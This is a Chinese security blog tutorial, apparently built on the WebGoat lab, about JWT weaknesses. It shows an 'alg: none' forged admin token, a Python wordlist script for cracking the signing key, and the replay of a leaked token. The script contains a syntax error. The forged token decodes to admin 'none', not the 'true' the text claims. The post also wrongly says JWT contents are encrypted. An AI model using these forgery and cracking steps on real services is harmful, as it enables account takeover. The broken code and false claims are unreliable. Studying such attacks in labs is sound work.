十分钟，带你看懂JWT（绕过令牌）

网e渗透安全部

发布于 2024-03-15 18:22:18

1620

发布于 2024-03-15 18:22:18

前言

在挖掘 SRC 的时候，面对一些 SSO 的场景，经常会看到一些奇奇怪怪的数据，这些数据多以三段式加密方式呈现，在后续的学习过程中，明白了此类令牌名为 Token，在之前的学习过程中简单了解了下 JWT 的呈现方式，但是对其更深入的内容浅尝辄止，本篇文章从一个全面的方向了解，什么是 JWT，JWT 如何利用和攻击，旨在帮助安全从业人员更好的了解网络安全的令牌工作机制。本文配套靶场地址为WebGoat靶场身份验证及失败部分。

正文

JWT 介绍

JWT（JSON Web Token）是一个开放标准（RFC 7519），它定义了一种简洁的、自包含的方法用于通信双方之间以 JSON 对象的形式安全地传输信息。这种信息可以被验证和信任，因为它是数字签名的。JWT通常用于互联网应用程序中，用于身份验证和授权。 JWT 和传统 Token 的区别

	JWT	传统 Token
存储位置	JWT通常存储在客户端	传统的Token如Cookies和Session Tokens通常在服务器端存储状态
传输方式	JWT作为HTTP请求的一部分传输，可以直接在请求的Header中	传统Token通常通过Cookie在浏览器和服务器之间传输
状态管理	JWT是自包含的，不依赖于服务器的会话状态，减轻服务器负担。	传统Token通常与服务器的会话状态绑定，服务器需要存储用户的会话信息，这可能导致更高的服务器负载和状态管理复杂性。
安全性和隐私	JWT的所有信息都是加密的，并且可以设置权限，只有拥有正确密钥的用户才能解码信息。但是，如果密钥被泄露，那么所有的JWT都可能受到影响。	不包含敏感信息，因此不加密
跨域使用	由于 JWT 不依靠服务器状态，可以在不同域之间请求和传递用户信息，因此适合跨域请求	传统Token在跨域请求中可能需要服务器配置CORS（跨源资源共享）策略

JWT 组成部分

JWT由三部分组成：

头部（Header）：这部分通常是一个JSON对象，描述了JWT的签名算法和其它元数据。
有效载荷（Payload）：这部分也通常是一个JSON对象，包含了发行方信息、用户信息、过期时间等声明。
签名（Signature）：这是header和payload的数字签名，使用header中指定的签名算法生成，用于验证JWT的完整性和真实性。

由于JWT是自包含的，所以它不需要在服务器上存储状态，这减少了攻击面，并允许用户在没有状态的系统中进行认证。同时，由于JWT是在客户端和服务器之间传输的，所以它也易于跨域使用。以下是一段 JWT的内容，我们需要找到令牌中的用户名

令牌详细部分如下

eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

其中：

header 部分为eyJhbGciOiJIUzI1NiJ9
payload部分为ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
signature部分为9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

通过放入解码平台我们可以看到解密后的文件，找出解密后的用户名从而通关靶场

JWT 工作原理

用户在成功对服务器进行身份验证后使用用户名和密码登录返回。服务器创建一个新令牌，并将此令牌返回给客户端。当客户端连续调用服务器，在“Authorization”标头中附加新令牌。服务器读取令牌并首先验证签名，验证成功后，服务器使用令牌中用于标识用户的信息。

JWT 安全问题

空加密算法

所谓的“空加密算法”可能指的是没有使用任何加密算法的JWT，这在实际应用中是不常见的，因为加密是保障信息安全的标准做法。然而，确实存在一些JWT的实现可能不会使用加密，尤其是在一些对安全要求不是非常高的场景下。通过空加密算法，我们主要了解 JWT 前两部分的组成方式及利用手法，简单来说就是将header部分的alg修改为none，然后在signature部分制空即可达成不安全的 JWT 加密算法的效果。具体的流程如下，比如在如下的情景中，只有管理员可以重置投票信息：

此时我们抓包，发现普通用户 TOM 的 JWT令牌如下图所示：

此时我们将其放入解码平台进行解码，可以得出前两部分的内容：

随后我们对数据包进行修改，首先将alg中加密方式设置为none, 然后将admin中的false修改为true，重新进行 Base64 编码，得到如下的 JWT 进行请求发送并且成功。

ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE3MDkyMjM1MDEsImFkbWluIjoibm9uZSIsInVzZXIiOiJUb20ifQ..

注意，虽然signature部分为空，但是仍然需要之前加上.号达成格式匹配，此时将其设置为access_token进行重放，发现投票次数已经被重置。

JWT 签名爆破

有时候我们可以尝试去爆破 JWT 的signature密钥，虽然服务器端的密钥经常是随机的，但是我们需要了解这个攻击流程。 爆破代码如下

import jwt
import termcolor

if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'

    with open('top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                    jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                    jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * , '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

访问令牌泄露

如果访问令牌泄露，我们可以配合时间戳的修改来达到恶意的操作，比如我们曾经得到某个用户的JWT令牌如下：

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q